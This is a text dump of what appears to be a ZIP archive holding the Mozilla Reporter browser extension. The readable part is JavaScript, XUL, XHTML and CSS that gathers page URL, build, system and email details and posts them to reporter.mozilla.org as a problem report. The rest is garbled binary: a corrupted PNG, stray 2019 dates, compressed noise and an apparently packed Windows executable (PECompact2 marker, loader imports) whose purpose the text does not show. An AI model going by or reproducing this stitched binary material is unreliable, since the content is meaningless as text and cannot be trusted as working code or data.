'gecko': gParamGecko,
'product': getProduct(),
'useragent': gParamUserAgent,
'buildconfig': gParamBuildConfig,
'language': gParamLanguage,
'email': gParamEmail,
'charset': gCharset,
'sysid': sysId
gStatusIndicator.value = "5%";
statusDescription.value = strbundle.getString("sendingReport");
sendReporterServerData(param, onSendReportDataLoad);
function onSendReportDataProgress(e) {
gStatusIndicator.value = (e.position / e.totalSize)*100;
function sendReporterServerData(params, callback) {
var serviceURL = getCharPref("serviceURL", "http://reporter.mozilla.org/service/0.3/");
params = serializeParams(params);
var request = new XMLHttpRequest();
request.onprogress = onSendReportDataProgress;
request.open("POST", serviceURL, true);
request.onreadystatechange = function () {
if (request.readyState == 4)
callback(request);
request.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
request.setRequestHeader("Content-length", params.length);
request.setRequestHeader("Connection", "close");
request.send(params);
function serializeParams(params) {
var str = '';
for (var key in params) {
str += key + '=' + encodeURIComponent(params[key]) + '&';
return str.slice(0, -1);
function onSendReportDataLoad(req) {
if (req.status != 200) {
var errorStr = extractError(req);
showError(errorStr);
return;
var reportWizard = document.getElementById('reportWizard');
var finishSummary = document.getElementById('finishSummary');
var finishExtendedFailed = document.getElementById('finishExtendedFailed');
var finishExtendedSuccess = document.getElementById('finishExtendedSuccess');
var statusDescription = document.getElementById('sendReportProgressDescription');
var strbundle = document.getElementById("strings");
// If successful
finishExtendedFailed.hidden = true;
statusDescription.value = strbundle.getString("reportSent");
reportWizard.canAdvance = true;
gStatusIndicator.value = "100%";
// Send to the finish page
reportWizard.advance();
// report ID returned from the web service
var reportId = req.responseXML.getElementsByTagName('reportId').item(0).firstChild.data;
finishSummary.value = strbundle.getString("successfullyCreatedReport") + " " + reportId;
finishExtendedDoc = finishExtendedSuccess.contentDocument;
finishExtendedDoc.getElementById('urlStri').textContent = gParamURL;
finishExtendedDoc.getElementById('problemTypeStri').textContent = document.getElementById('problem_type').label;
finishExtendedDoc.getElementById('descriptionStri').textContent = gParamDescription;
finishExtendedDoc.getElementById('platformStri').textContent = gParamPlatform;
finishExtendedDoc.getElementById('oscpuStri').textContent = gParamOSCPU;
finishExtendedDoc.getElementById('productStri').textContent = getProduct();
finishExtendedDoc.getElementById('geckoStri').textContent = gParamGecko;
finishExtendedDoc.getElementById('buildConfigStri').textContent = gParamBuildConfig;
finishExtendedDoc.getElementById('userAgentStri').textContent = gParamUserAgent;
finishExtendedDoc.getElementById('langStri').textContent = gParamLanguage;
finishExtendedDoc.getElementById('emailStri').textContent = gParamEmail;
finishExtendedDoc.getElementById('charsetStri').textContent = gCharset;
reportWizard.canRewind = false;
document.getElementById('finishExtendedFrame').collapsed = true;
reportWizard.getButton("cancel").disabled = true;
return;
function extractError(req){
var error = req.responseXML.getElementsByTagName('errorString').item(0)
if (error) {
return error.textContent;
// Default error
var strbundle = document.getElementById("strings");
return strbundle.getString("defaultError");
function showError(errorStr){
var strbundle = document.getElementById("strings");
var finishSummary = document.getElementById('finishSummary');
var finishExtendedSuccess = document.getElementById('finishExtendedSuccess');
var finishExtendedFailed = document.getElementById('finishExtendedFailed');
// If there was an error from the server
finishExtendedSuccess.hidden = true;
// Change the label on the page so users know we have an error
var finishPage = document.getElementById('finish');
finishPage.setAttribute("label",strbundle.getString("finishError"));
var reportWizard = document.getElementById('reportWizard');
reportWizard.canAdvance = true;
reportWizard.advance();
finishSummary.value = strbundle.getString("failedCreatingReport");
finishExtendedDoc = finishExtendedFailed.contentDocument;
finishExtendedDoc.getElementById('faultMessage').textContent = errorStr;
document.getElementById('finishExtendedFrame').collapsed = true;
reportWizard.getButton("cancel").disabled = true;
function showDetail() {
var hideDetail = document.getElementById('showDetail').checked ? false : true;
document.getElementById('finishExtendedFrame').collapsed = hideDetail;
function getBuildConfig() {
// bz and Biesi are my heroes for writing/debugging this chunk.
try {
var ioservice =
Components.classes["@mozilla.org/network/io-service;1"]
.getService(Components.interfaces.nsIIOService);
var channel = ioservice.newChannel("chrome://global/content/buildconfig.html", null, null);
var stream = channel.open();
var scriptableInputStream =
Components.classes["@mozilla.org/scriptableinputstream;1"]
.createInstance(Components.interfaces.nsIScriptableInputStream);
scriptableInputStream.init(stream);
var data = "";
var curBit = scriptableInputStream.read(4096);
while (curBit.length) {
data += curBit;
curBit = scriptableInputStream.read(4096);
// Strip out the <!DOCTYPE> part, since it's not valid XML
data = data.replace(/^<!DOCTYPE[^>]*>/, "");
// Probably not strictly needed, but what the heck
data = data.replace(/^<html>/, "<html xmlns='http://www.w3.org/1999/xhtml'>");
var parser = new DOMParser();
var buildconfig = parser.parseFromString(data, "application/xhtml+xml");
var text = buildconfig.getElementsByTagName("body")[0].textContent;
var start= text.indexOf('Configure arguments')+19;
return text.substring(start);
} catch(ex) {
dump(ex);
return "Unknown";
function getProduct() {
try {
// Works on Firefox 1.0+ and Future SeaMonkey's
var appInfo = Components.classes["@mozilla.org/xre/app-info;1"]
.getService(Components.interfaces.nsIXULAppInfo);
// Use App info if possible
return appInfo.name+"/"+appInfo.version;
catch(ex) {}
// only works on Gecko 1.8 and higher (if above doesn't return)
if ('nsIChromeRegistrySea' in Components.interfaces) {
return 'SeaMonkey/'+
Components.classes['@mozilla.org/network/io-service;1']
.getService(Components.interfaces.nsIIOService)
.getProtocolHandler('http')
.QueryInterface(Components.interfaces.nsIHttpProtocolHandler).misc.substring(3);
// Firefox < 1.0+ or a last ditch effort for others that may fail
else if (navigator.vendor != ''){
return window.navigator.vendor+'/'+window.navigator.vendorSub;
else {
return "Unknown";
function getGecko() {
try {
var appInfo = Components.classes["@mozilla.org/xre/app-info;1"]
.getService(Components.interfaces.nsIXULAppInfo);
// Use App info if possible
return appInfo.platformBuildID;
catch(ex) {
return "00000000"; // 8 0's to ignore as we have historically
content/reporter/reporterOverlay.xul<?xml version="1.0"?>
<!-- ***** BEGIN LICENSE BLOCK *****
- Version: MPL 1.1/GPL 2.0/LGPL 2.1
- The contents of this file are subject to the Mozilla Public License Version
- 1.1 (the "License"); you may not use this file except in compliance with
- the License. You may obtain a copy of the License at
- http://www.mozilla.org/MPL/
- Software distributed under the License is distributed on an "AS IS" basis,
- WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
- for the specific language governing rights and limitations under the
- License.
- The Original Code is Mozilla Reporter (r.m.o).
- The Initial Developer of the Original Code is
- Robert Accettura <robert@accettura.com>.
- Portions created by the Initial Developer are Copyright (C) 2004
- the Initial Developer. All Rights Reserved.
- Contributor(s):
- Jay Patel <jay@mozilla.org>
- Gavin Sharp <gavin@gavinsharp.com>
- Alternatively, the contents of this file may be used under the terms of
- either the GNU General Public License Version 2 or later (the "GPL"), or
- the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
- in which case the provisions of the GPL or the LGPL are applicable instead
- of those above. If you wish to allow use of your version of this file only
- under the terms of either the GPL or the LGPL, and not to allow others to
- use your version of this file under the terms of the MPL, indicate your
- decision by deleting the provisions above and replace them with the notice
- and other provisions required by the LGPL or the GPL. If you do not delete
- the provisions above, a recipient may use your version of this file under
- the terms of any one of the MPL, the GPL or the LGPL.
- ***** END LICENSE BLOCK ***** -->
<!DOCTYPE overlay SYSTEM "chrome://reporter/locale/reporterOverlay.dtd">
<overlay id="reporterMenuOverlay"
xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul">
<script type="application/x-javascript" src="chrome://reporter/content/reporterOverlay.js"/>
<!-- Firefox -->
<broadcasterset id="mainBroadcasterSet">
<broadcaster id="reporterItemsBroadcaster" disabled="true"/>
</broadcasterset>
<menupopup id="menu_HelpPopup">
<menuitem id="menu_HelpPopup_reportertoolmenu"
label="&reporterMenu2.title;"
accesskey="&reporterMenu.accesskey;"
insertafter="releaseNotes"
observes="reporterItemsBroadcaster"
oncommand="loadReporterWizard()"/>
</menupopup>
<!-- SeaMonkey -->
<broadcasterset id="navBroadcasters">
<broadcaster id="reporterItemsBroadcaster" disabled="true"/>
</broadcasterset>
<menupopup id="helpPopup">
<menuseparator insertbefore="menu_HelpAboutSeparator"/>
<menuitem id="helpPopup_reportertoolmenu"
label="&reporterMenu2.title;"
accesskey="&reporterMenu.accesskey;"
insertbefore="menu_HelpAboutSeparator"
oncommand="loadReporterWizard()"
observes="reporterItemsBroadcaster"/>
</menupopup>
</overlay>
}e73w@
content/reporter/reporterOverlay.js/* ***** BEGIN LICENSE BLOCK *****
* Version: MPL 1.1/GPL 2.0/LGPL 2.1
* The contents of this file are subject to the Mozilla Public License Version
* 1.1 (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
* http://www.mozilla.org/MPL/
* Software distributed under the License is distributed on an "AS IS" basis,
* WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
* for the specific language governing rights and limitations under the
* License.
* The Original Code is Mozilla Reporter (r.m.o).
* The Initial Developer of the Original Code is
* Robert Accettura <robert@accettura.com>.
* Portions created by the Initial Developer are Copyright (C) 2004
* the Initial Developer. All Rights Reserved.
* Contributor(s):
* Gavin Sharp <gavin@gavinsharp.com>
* Alternatively, the contents of this file may be used under the terms of
* either the GNU General Public License Version 2 or later (the "GPL"), or
* the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
* in which case the provisions of the GPL or the LGPL are applicable instead
* of those above. If you wish to allow use of your version of this file only
* under the terms of either the GPL or the LGPL, and not to allow others to
* use your version of this file under the terms of the MPL, indicate your
* decision by deleting the provisions above and replace them with the notice
* and other provisions required by the GPL or the LGPL. If you do not delete
* the provisions above, a recipient may use your version of this file under
* the terms of any one of the MPL, the GPL or the LGPL.
* ***** END LICENSE BLOCK ***** */
var reporterListener = {
QueryInterface: function(aIID) {
if (aIID.equals(Components.interfaces.nsIWebProgressListener) ||
aIID.equals(Components.interfaces.nsIWebProgressListener2) ||
aIID.equals(Components.interfaces.nsISupportsWeakReference) ||
aIID.equals(Components.interfaces.nsISupports))
return this;
throw Components.results.NS_NOINTERFACE;
onLocationChange: function(aProgress, aRequest, aURI) {
var broadcaster = document.getElementById("reporterItemsBroadcaster");
var isEnabled = false;
if (aURI instanceof Components.interfaces.nsIURI) {
switch (aURI.scheme) {
case "http":
case "https":
case "ftp":
case "gopher":
isEnabled = true;
}
broadcaster.setAttribute("disabled", !isEnabled);
onStateChange: function() { },
onProgressChange: function() { },
onStatusChange: function() { },
onSecurityChange: function() { },
onLinkIconAvailable: function() { },
onProgressChange64: function() { },
onRefreshAttempted: function() { return true; }
function onBrowserLoad() {
if ("undefined" != typeof(gBrowser))
gBrowser.addProgressListener(reporterListener);
function loadReporterWizard() {
var browser = getBrowser();
var charSet = browser.contentDocument.characterSet;
var url = browser.currentURI.spec;
window.openDialog("chrome://reporter/content/reportWizard.xul", "",
"chrome,centerscreen,dialog",
url,
charSet);
return true;
window.addEventListener("load", onBrowserLoad, false);
content/reporter/error.xhtml<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN"
"http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd" [
<!ENTITY % reporterDTD SYSTEM "chrome://reporter/locale/reportResults.dtd" >
%reporterDTD;
<!-- ***** BEGIN LICENSE BLOCK *****
- Version: MPL 1.1/GPL 2.0/LGPL 2.1
- The contents of this file are subject to the Mozilla Public License Version
- 1.1 (the "License"); you may not use this file except in compliance with
- the License. You may obtain a copy of the License at
- http://www.mozilla.org/MPL/
- Software distributed under the License is distributed on an "AS IS" basis,
- WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
- for the specific language governing rights and limitations under the
- License.
- The Original Code is Mozilla Reporter (r.m.o).
- The Initial Developer of the Original Code is
- Robert Accettura <robert@accettura.com>.
- Portions created by the Initial Developer are Copyright (C) 2004
- the Initial Developer. All Rights Reserved.
- Contributor(s):
- Alternatively, the contents of this file may be used under the terms of
- either the GNU General Public License Version 2 or later (the "GPL"), or
- the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
- in which case the provisions of the GPL or the LGPL are applicable instead
- of those above. If you wish to allow use of your version of this file only
- under the terms of either the GPL or the LGPL, and not to allow others to
- use your version of this file under the terms of the MPL, indicate your
- decision by deleting the provisions above and replace them with the notice
- and other provisions required by the LGPL or the GPL. If you do not delete
- the provisions above, a recipient may use your version of this file under
- the terms of any one of the MPL, the GPL or the LGPL.
- ***** END LICENSE BLOCK ***** -->
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>reporter</title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
<link rel="stylesheet" type="text/css" href="chrome://reporter/skin/reportResults.css"/>
</head>
<body>
<h3>&error;</h3>
<div id="messagediv"><span id="faultMessage"/></div>
</body>
</html>
content/reporter/report.xhtml<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN"
"http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd" [
<!ENTITY % reporterDTD SYSTEM "chrome://reporter/locale/reportResults.dtd" >
%reporterDTD;
<!-- ***** BEGIN LICENSE BLOCK *****
- Version: MPL 1.1/GPL 2.0/LGPL 2.1
- The contents of this file are subject to the Mozilla Public License Version
- 1.1 (the "License"); you may not use this file except in compliance with
- the License. You may obtain a copy of the License at
- http://www.mozilla.org/MPL/
- Software distributed under the License is distributed on an "AS IS" basis,
- WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
- for the specific language governing rights and limitations under the
- License.
- The Original Code is Mozilla Reporter (r.m.o).
- The Initial Developer of the Original Code is
- Robert Accettura <robert@accettura.com>.
- Portions created by the Initial Developer are Copyright (C) 2004
- the Initial Developer. All Rights Reserved.
- Contributor(s):
- Alternatively, the contents of this file may be used under the terms of
- either the GNU General Public License Version 2 or later (the "GPL"), or
- the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
- in which case the provisions of the GPL or the LGPL are applicable instead
- of those above. If you wish to allow use of your version of this file only
- under the terms of either the GPL or the LGPL, and not to allow others to
- use your version of this file under the terms of the MPL, indicate your
- decision by deleting the provisions above and replace them with the notice
- and other provisions required by the LGPL or the GPL. If you do not delete
- the provisions above, a recipient may use your version of this file under
- the terms of any one of the MPL, the GPL or the LGPL.
- ***** END LICENSE BLOCK ***** -->
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>reporter</title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<link rel="stylesheet" type="text/css" href="chrome://reporter/skin/reportResults.css"/>
</head>
<body>
<table>
<th>&reportSite;:</th>
<td><span id="urlStri"/></td>
<th>&reportProblemType;:</th>
<td><span id="problemTypeStri"/></td>
<th>&reportDecsription;:</th>
<td><span id="descriptionStri"/></td>
<th>&reportPlatform;:</th>
<td><span id="platformStri"/></td>
<th>&reportProduct;:</th>
<td><span id="productStri"/></td>
<th>&reportoscpu;:</th>
<td><span id="oscpuStri"/></td>
<th>&reportGecko;:</th>
<td><span id="geckoStri"/></td>
<th>&reportBuildConfig;:</th>
<td><span id="buildConfigStri"/></td>
<th>&reportUseragent;:</th>
<td><span id="userAgentStri"/></td>
<th>&reportLanguage;:</th>
<td><span id="langStri"/></td>
<th>&reportCharset;:</th>
<td><span id="charsetStri"/></td>
<th>&reportEmail;:</th>
<td><span id="emailStri"/></td>
</table>
</body>
</html>
[62t]GA
skin/classic/reporter/icon.pngPNG
tEXtComment
Created with The GIMPd%n
D y<YE
_wi:rsrG
!_v'")GH
EPy//o=,
*s]o)TlpP'
VfD7$}v8v=
H;P'L{
=c,432
u}\squ
J7\HE]&
s2/VFVA
IENDB`PK
skin/classic/reporter/reportResults.cssbody {
font: message-box;
width: 100px;
text-align: left;
vertical-align: top;
table {
width: 95%;
skin/classic/reporter/reportWizard.css/* ***** BEGIN LICENSE BLOCK *****
* Version: MPL 1.1/GPL 2.0/LGPL 2.1
* The contents of this file are subject to the Mozilla Public License Version
* 1.1 (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
* http://www.mozilla.org/MPL/
* Software distributed under the License is distributed on an "AS IS" basis,
* WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
* for the specific language governing rights and limitations under the
* License.
* The Original Code is Mozilla Reporter (r.m.o).
* The Initial Developer of the Original Code is
* Robert Accettura <robert@accettura.com>.
* Portions created by the Initial Developer are Copyright (C) 2004
* the Initial Developer. All Rights Reserved.
* Contributor(s):
* Alternatively, the contents of this file may be used under the terms of
* either the GNU General Public License Version 2 or later (the "GPL"), or
* the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
* in which case the provisions of the GPL or the LGPL are applicable instead
* of those above. If you wish to allow use of your version of this file only
* under the terms of either the GPL or the LGPL, and not to allow others to
* use your version of this file under the terms of the MPL, indicate your
* decision by deleting the provisions above and replace them with the notice
* and other provisions required by the GPL or the LGPL. If you do not delete
* the provisions above, a recipient may use your version of this file under
* the terms of any one of the MPL, the GPL or the LGPL.
* ***** END LICENSE BLOCK ***** */
#privacyFrame, #finishExtendedFrame {
-moz-appearance: listbox;
margin: 2px 4px;
border: 2px solid;
-moz-border-top-colors: ThreeDShadow ThreeDDarkShadow;
-moz-border-right-colors: ThreeDHighlight ThreeDLightShadow;
-moz-border-bottom-colors: ThreeDHighlight ThreeDLightShadow;
-moz-border-left-colors: ThreeDShadow ThreeDDarkShadow;
background-color: -moz-Field;
color: -moz-FieldText;
wizard[description=""] .wizard-header-description {
display: none;
content/reporter/reportWizard.xulPK
}e7IF;
content/reporter/reportWizard.jsPK
content/reporter/reporterOverlay.xulPK
}e73w@
content/reporter/reporterOverlay.jsPK
content/reporter/error.xhtmlPK
content/reporter/report.xhtmlPK
[62t]GA
skin/classic/reporter/icon.pngPK
skin/classic/reporter/reportResults.cssPK
skin/classic/reporter/reportWizard.cssPK
4/5/2019 4/5/2019 4/6/2019 14/6/2019 1BM8
Xea8I>v
BOD`jatuky
3@68F8@J;\f^qwu~y
at{y{4A3#/
qIQDjrh
6B5Sb^
wDG>4?3+=2tr^
lqkswn_eY
x0<@%5'3?/
grqZaYw|w
Zl@JtOYN"3%|
pusq{}
->>.;9
;I?GZT^mn
#-:HQ{p|{;LGauz
c: j>#pC&wJ*}L)xbUa`(7Vtehf\]s0AAHZTvcv}k
$.;IfvDHD8MTd{g~m~TfaUgbK`\]rw}aS?c8
"&K\\|RgrezXmuzJ]fsbqo@PKCTOD]d~'$
(6,.C<Uikt
iyA[hk~Zn
4JZ*:8
!+#*=5@WVObd
Z{e}3Qw;Vl
VY\^dl<BF=FH
+=55JF;PNIar
i|TewA[ob}Tfr
#'ZaiVajdq~!+''805MNZs
lZw(K,Z);K
x*=Ej|
$'-.98?QW7EJ
+-]v@R`q~Xtj)Bj&>m+FdK_te|4LVrBHI
15<jwu<J>JZYRfnPl+E\
*.buzb-Hq+M@Ts0E\
Vm~-7U7A;_eb7=C
4;C_lp
3DP3CJRdv3Ka@Zs
;]w;KXRn
;@D~6O`
/<I\i<qD|evv<Xjbu~DVX,;?
{NhyVn
'F^sl{;QX"-'
'! )!&
4Ro.D[%4D
CHPSmLi;N`
2OlUt
k$M4aKx/Mu
!*+:L}
,H%Ab6^!2G
'?]&Ef*Im
*2-6/=GB
'-1;;/80!&"
CRk1Gi
6BG_lw]gn
@b=cSx>Vw
AJW%(-
"*7;EahrCf Bf-T{?b^~|6AQ1:IfrIOX
AVg(FcSt
QdrH[sGf
g|>Vlatz
+Yesz{py
"*7FQa|bn
zxmv@FP
NZk?[}fvNV`
~`{d|ESf
)7n~T]m
hp}IP[
4/8/2019 4/8/2019 4/10/2019 MZ
L!This program cannot be run in DOS mode.
PEC2^O
mbTpEN
:EWB(CO!
P\_!"%
hDB;e@~o
u|KrA/
b^UbUA
#Dzsb2dp&d
I81,xN6`
@Kk\;>d_y
%WzztE+`i[gV[bf1=9
D;kbr7?WY|
Z(PQ.KWUd
IWa+VW
t_%f]l.k+
b7/+Kv=Qg
E\!yP^U,agOPB`
ie}>u!
{xzGG3v0c\>AtUVY
q|^pXK
#il;C2
ktbQo!TZ
.,.Mh!Y!h'.*
q'e1_?m("
Xd'Ziay
n-C/T
0#ZWT|@KJ
eDtlk1
Vh0y&]!
?j|829J
xT+8v(
$J}ji0
fU^ma2yUf
pnxv=k
CK?K~9f\(%{
H<nO0.g
(b$a,kz"`Hn#[<ms&Q%
A^1.Q>-b
5#IK3&X!%V\q
ixz"SYOY
J^MfzNun
Ik^-tHS*
[9h?vnqd
J7Vng0
J#H#{]`$RXBPJ
N$Le=F
=8wv-3
s#*Za&DZ9
v?L$4P
v|jhXQ]N'
mGd/VD)=1B
3|P)ST
atgZCU+g
+d0J1I
18pO^l>p3
m'@e'05
LgThHL
D#f{O(J`d"rF
J7urt`Rj
3$+cC9W
yywWm;
Jjex|s
X!#uoK12#
"s@K\}C
?R{,hUUu ikHc
PECompact2
\ugWPw
H%caAp
6m8Nme!6
VR^]RIK5
vdQ_w\|H
y9e!w)n
]oRln uJ
=%8T"mXgbslcoF
$E,+hu
s@B?hqa`
#^|G(!8
x`T"@h
Ozi FzR7
zL)cOx
ba&tqa
J`/O`0
.E]=NQjKnw
1.19_p
vS}pT<*bgN_
WGc.5mIr@`^
/M8@tCL=ge
H:aP%w9iWPs0.,q
2\.vghK>-(au
"hA=1M-
r9W;>-
gigov
0~P<!Az$
#]_E{3o
4{h.6DsN!
+QRKK?t
^**5!<Vg
NZ_Rt
s0BRK3.[q#I
gKO3lToa
wW-E&@&A^t&
HEC+X[:
?EXN\GO(?
%OIpMEG
e+.;:?
Y;zVpN
Z'K20Vxq
?%Mh2^G
lXV!QOA,ex
pS@hv;
i'h8Q]g
tM;k/&i
bKz5Bg3
c14=pxh
Y,9}'r=[39dUM{RZ_
QN.KEnB[r
.nyULT6
xl$T&0C6
q]}N:)
Ag7F%TQf|U`
#h7HlV/M
PG3ilpeGA~oLIC,
}r/h{bG~
MCPTl+mj
oD u{VuLR.%
9iXS7b
^#w0N8
QqKrx[1T|>*
+NW{(h
I~+aXHt
uTpNMC
XC6mD.g
a`v\.$J,s[
u<-@pc}]
phusCJH]
o!w-BTy&
i*V&S9
Jtt]{JQ
E*wmc3e(jbtgh(
v-9q[3$uZU
HdOM1x&
8WiNW@
e87@46]
}D~+eLuOf
nAr8ei#v
~K(rAN
(rU)E'
TU?Ho9oJ
b'c4;|
p~>\\c@WCG{
t[1It/Tl"x
mNP_nw_WUZ
Q;G9%2|v13
;Li[@cc+
bYV/LT
DU=m?M!]
+@@L4~Ru4
ycr1FJP
/d._]aUIU>2|
/wQ)bAvRw;
*cV!^vgFcu*o
8.t__g
_P}`\nJ
))_c,dQ
'/ZMtQ
krgkLpf
'WC,oj /9
0psHW
'"[<VGs`
,G^`h,x
Gyp.`[
Ilv6Lgqm`x~Z
}oo\sRapWTz
'uwTH"
X8`,fw-
Zj{I# AJ
3G>51D8GvkR
<1V\%H
b.l} 2#,cczg%V
Y_eza^.\/CVj8tg
UsKjSS
nB^ur8E k
.QTcR
w!T4)9tZBlc<,
x,aajYE
[*V^|B)u?
XycA )%
4R5w1g
%!'Y'(
:pBjSqP
PJ2%b6
t6w6Gux
38pq" E
hJVulHWsL<-l_
ht=+?l}3@rrP
}3;+9
HtU*pM<(
Z\YLGA
t9*YKw
yGMa.%
%J=i:
O"os7?
1xtD/g
j:<^$V%e
mh>iFMk/[o
{CQ0*1w9
4Wr7%x{
<)~@mWV
`Z_IDJAtY<i-i
6t<rzt5<`[5L
E;7]A7JKd|JI
li3@kg
WeN)bJ
>3gJF%Lj
B^L<J#%G*6=lf
Tn#qn)r.0
wX8OZm?
CWsi0>
2NbXy4Ro71!6E
'QXqE6
Tmd7 E!
3q4.p=[);"r
H,u"[
ZPv,@J5!-
?zw!.RrM+<
wQkMS&P'P1
YR|7^RVM0iqC
\bw>_|{
WwbfwBL_m
~(N'5&/q{'9
\~c!{MFz|@m!Qk>C&
L83C^(%=
rN4RE^5wH]
z:wy@NaW:c5Si2h
<9Aj?Q)d77(+
^qyc;03Zet
$nggb
9i'eZU$!w
M!@/ce8
zr:S;2__Qx9p=`
a"DJe&dS3$)*
f%o9q\
hm1\GY
WO4O0k
)f/q0fP=
e7NhV7xU
+5C9&I
@sEuQr
+w5kV%5
0dV+ghQl0^/
>fBX&D
C.V7zyic,
8/5$DJ~A{D=:D
gb@U+-
TC2F-a=GP
v%ezB&j1Li
!-Ci~0
)ttg=y|
_ATRPx2
y&Fyuv~^r
bk'+$#*7^'Lz
!rZaz&
^Hmyqk
Ipx&(
4Pxt.$
FHg^BL8YoR
l)"]%l#
/x*_UL'2
NLy`dsf2GK*a,
|i_w<Y[
_H#|Dc
s2xy{`
w"g]P<
0;mfh})b
7CUq]CMC
jV9z)]Jl?
C@EP7$1
f@U2|*lc
Gm18xu
]yJT_}
{pY."h=U
`ZHL~`
1w.7BgpY
Zdp/Rn>
>?i/Ow
apHgV1+PrLd
!i6d@G[
#>BOIr1:%
r>r+HE
wsIAwh<e
/Gn6g1.gUij4H^m2
nITgLTmnvt:9
Y0Kb.Pp/8XiQF>+lp
O0jw%#-
Kl$;.jB%
9`R#IA,n
Texk`%
P#qd\lKB
<*sfk;k
.v^Z[$
qz{W(g8i!D7;uM
tVxNg\
Cb(3>
HVpag]Sn?lQ
YEB~0sqq[
:t_]BJ
skX#r[yzum&wL
p5v{9Fo
Yc>#~^q9?
bkGV-}:
r#hKgb\;
<|Kr9%|
m:Cs^W?+6g{EA23!
aEP0oh3QzLY
H/0\.]
6R]qW>EK
#0 1XiY
@?j&Y($/
0i2nyK\bF
L@8|V,
f.%tS-
iLOls;:
+A'QZ`
wxG]Aa
3yXOq6q;?91q
AVrLMq[+zMOy#w`
vSA'?T
\IT`mN[Q
~,b#*2r
|syW)wH8
A(dXS|
bsl(&o
PmeCv7KjZ:`\}OX
XmO+4V3UNXko,z0dU*D
IU+NdafDum
S"y"Zh
w{5pLy
&/LbxVnE{b4
]<l)$E
(j.LF1
'r;W8}
~T$ivBr
:2&<*&Qe,wj7
;@p"Wy)
d?[xn-#|7m0
kd#a`/
ngN`\DO
h2PswM
/}'_$T
O3|yRG
6%6EDSD
f8'F~=8J6=
GvE2Hl+*@A3O'
80sNSor
vda{& f
cjk_T}+j
q#Kc#i^?,
N#>f\xZ-b
rI2"T?m.FS
~![V&8
tvVEUa7d
{M}Ueg
Pv\o(a8E/,3Ky
9ulAnG)n}
s4jCT?!1|
[KLm1&QOkOq
fU8D8*
!1o?|j7*+`5
0=_l,G_L
^dmI^yp`lP%#%
1puvv\
G-QJD@
FAt_;$<o
`dyv'8
S+#NXV
z~E<z/
!1Na>Jq}
~z\qyE
FE8UZ1&&
@+7cs`
E?x]='
ZaOrF~
gYUFwbZlr
q[%FQx
eIS}<[g!
(2,u73
7oFNLqd
g5UVuZ~
:Ig{8m
QD(QI%C'P
-BT=Cg~\
Eh(qB
%&;FX%
2dE~4^9
{BQd!,r
uVKc1hg
~R0h[b
+Roj?k3eZ
fU,;j}k~
Qx0d.'
3qwIDblZ%
Nm-Z w
p,tUVv
d2:@nPmD036[l
:12DT*p,Wdyv$e
Jsieoc_
c\Ru~=
=!W+BP
+}eDR.Ml:'X
F={P4{a
:D\r8yA
70L92AoU
$\{gI{
_>/~07
Cu"$i{xE~9P@km7"
chcYp+/'
VvS]D!@.8o5V4+
nU#6~
uHO>M?C
8N9t=,7
>zLC9[uO
92V'>h1BuZ/%j
bS. *KDg)t0
O7B[(N
U(l'?XsS\/u$Ii
J__B@y
+TWH,2
kernel32.dll
LoadLibraryA
GetProcAddress
VirtualAlloc
VirtualFree
m2_ KW7n
OQ?*CT!
8!5@|K
9w}iX=~L<,
Hq]C<.+
?C&i"p
;==$?K@]
v!pc}nw"J
d"qPw,
{ia0dVD
>z%voql
3hKt2?}
8 JQY'
-Y,'/>owL
!DV,8Jb
F3_Jg6
y$O=Vb
2qia_?upw
T\>FND
ModulqHan8
Virtopc>ken*32+
ZPY[z]8@
+>(/P"
H+SlM8!
{BtpyL(+
P/(#vjE#hM!"xV4
!J*YO*AW$^@f;M
D$4HSUVPg
6A|$ l
\8T<>#
v0`Zf#
9hD-*
9$$ ?|
;0xUeN
:@97oJ
+Pz%}T`oe<~Wq
405=QtL
vB*(3H%Iw]
Dd"B7\
(1XdS!a
N~0SvJQ
~}U?_(
90sk$M
sFpRph
cN,4+KQ07!'
A,R?B-
%# |"!
uD3Z~X0
fdb;u}
'nPPCN1tMs
!Z`;h2=2
dT)}&nAH+6J^|
@tKwFQ
B_^/b2
XY^WVi
PO:M9W
,QAj@Rw3:
]F:9Fu
g!{PWQSL}@
i7Xt|H,!
A|Q@,:Zha]oM9%
Nr'`Q6
vq"d4n
9l@L04+
pUWmsvb
{ u.Th}e<cdc
%sy5|lntba6id|SDqLG5d,al
uj'XGvMagB
wP=tfNfExitPL
}~ActNCO;b2!
n$zH[QY9
<$J0dkX2
`t$$|$(3
r+|$(|$
USQWVRW
ZPR3C
Z^_Y[]
3/12/2019 BM6$
itWeK`H]FuS>cF4O9+7(
j{]hK9
b$_saf
p o:oOt`vgxjym|n|nv_jIZ)@
taL7*@, {Y
o2hOgYfWgHfKfOgOiRkWp[uf}qy~qdGKsN
h5\IYFW<V6~`0_e.V5U5X7Y;Z>WFZMaPfSl[
S=P9P-M(K%G!qZ#6k%M!H"K$K)V!
f"G0G#E
}vJmd8dF?
lB-U;Rk'E`"`d2jGL
Ek#Vf+jj>T'0
Fh%w]/V*>
f[%W)E
?h&R#H
< @"D#F&G
H+F970'
;!A$H'M%Q4RGQSS
S+RPPC4"
>F&M*U,Z)_K^Bb)c-`
\iocP=%
I(O+X._2f9k(n5ndr2k6i#`"ZtgP7
L'P,Y0b9kBr=wzy
Aw>o'e
="M,X0b:lKvJ
DyruX7
4*R/^7iHtY
{C_V@
L3f?rI
7winy$d-Y&K
